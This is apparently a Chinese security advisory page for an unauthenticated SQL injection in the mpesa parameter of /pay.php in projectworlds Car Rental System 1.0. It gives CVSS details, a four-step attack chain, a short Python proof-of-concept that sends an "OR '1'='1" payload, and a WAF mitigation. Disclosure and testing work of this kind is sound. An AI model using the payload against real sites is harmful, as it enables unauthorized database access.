IPBUF安全漏洞报告
English
CVE-2026-5645 CVSS 7.3 高危

CVE-2026-5645 projectworlds Car Rental System SQL注入漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-5645
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
projectworlds Car Rental System

相关标签

SQL注入CVE-2026-5645Car Rental Systemprojectworlds远程代码执行无需认证

漏洞概述

projectworlds Car Rental System 1.0版本存在SQL注入漏洞。该漏洞位于/pay.php文件的参数处理组件中,由于对用户传入的mpesa参数缺乏充分的过滤和验证,攻击者可构造恶意SQL语句进行注入攻击。该漏洞无需认证且无用户交互即可远程触发,攻击成功可能导致数据库信息泄露、数据篡改或服务拒绝。

技术细节

该漏洞根本原因是/pay.php文件在处理支付请求时,对mpesa参数的输入验证机制缺失。开发人员直接将该参数拼接到SQL查询语句中,未使用预编译语句或转义处理。攻击者无需经过身份认证(PR:N)即可远程发起攻击。利用方式包括发送特制的POST请求,在mpesa字段中注入SQL语法(如单引号闭合、UNION查询、时间盲注等)。成功的攻击将导致数据库中的敏感信息(如用户名、密码哈希、交易记录)被窃取(C:L),或导致数据被非法修改(I:L),甚至影响系统可用性(A:L)。鉴于漏洞利用代码已公开,风险极高。

攻击链分析

STEP 1
信息收集
攻击者通过网络扫描发现运行projectworlds Car Rental System 1.0的目标系统,并定位/pay.php接口。
STEP 2
漏洞探测
攻击者向/pay.php发送特制的POST请求,在mpesa参数中插入SQL注入测试载荷(如单引号),观察服务器响应是否异常。
STEP 3
漏洞利用
确认漏洞存在后,攻击者利用UNION SELECT或布尔盲注等技术,执行恶意SQL语句以提取数据库敏感信息或执行写入操作。
STEP 4
达成目标
成功获取数据库中的管理员密码、用户信息或破坏数据完整性,进而控制服务器或造成业务损失。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_sqli(url): target = f"{url}/pay.php" # Payload to test for SQL Injection payload = "1' OR '1'='1" data = { "mpesa": payload } try: response = requests.post(target, data=data) if response.status_code == 200: print("[+] Potential SQL Injection vulnerability detected!") print(f"[+] Response length: {len(response.text)}") else: print("[-] Target might not be vulnerable or WAF blocked the request.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target_url = "http://example.com" # Replace with actual target check_sqli(target_url)

影响范围

projectworlds Car Rental System 1.0

防御指南

临时缓解措施
在未能立即升级修补的情况下,建议在Web应用防火墙(WAF)上部署规则,拦截对/pay.php的请求中包含SQL关键词(如UNION, SELECT, OR)和特殊字符(如单引号)的流量,或临时禁用该支付接口。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表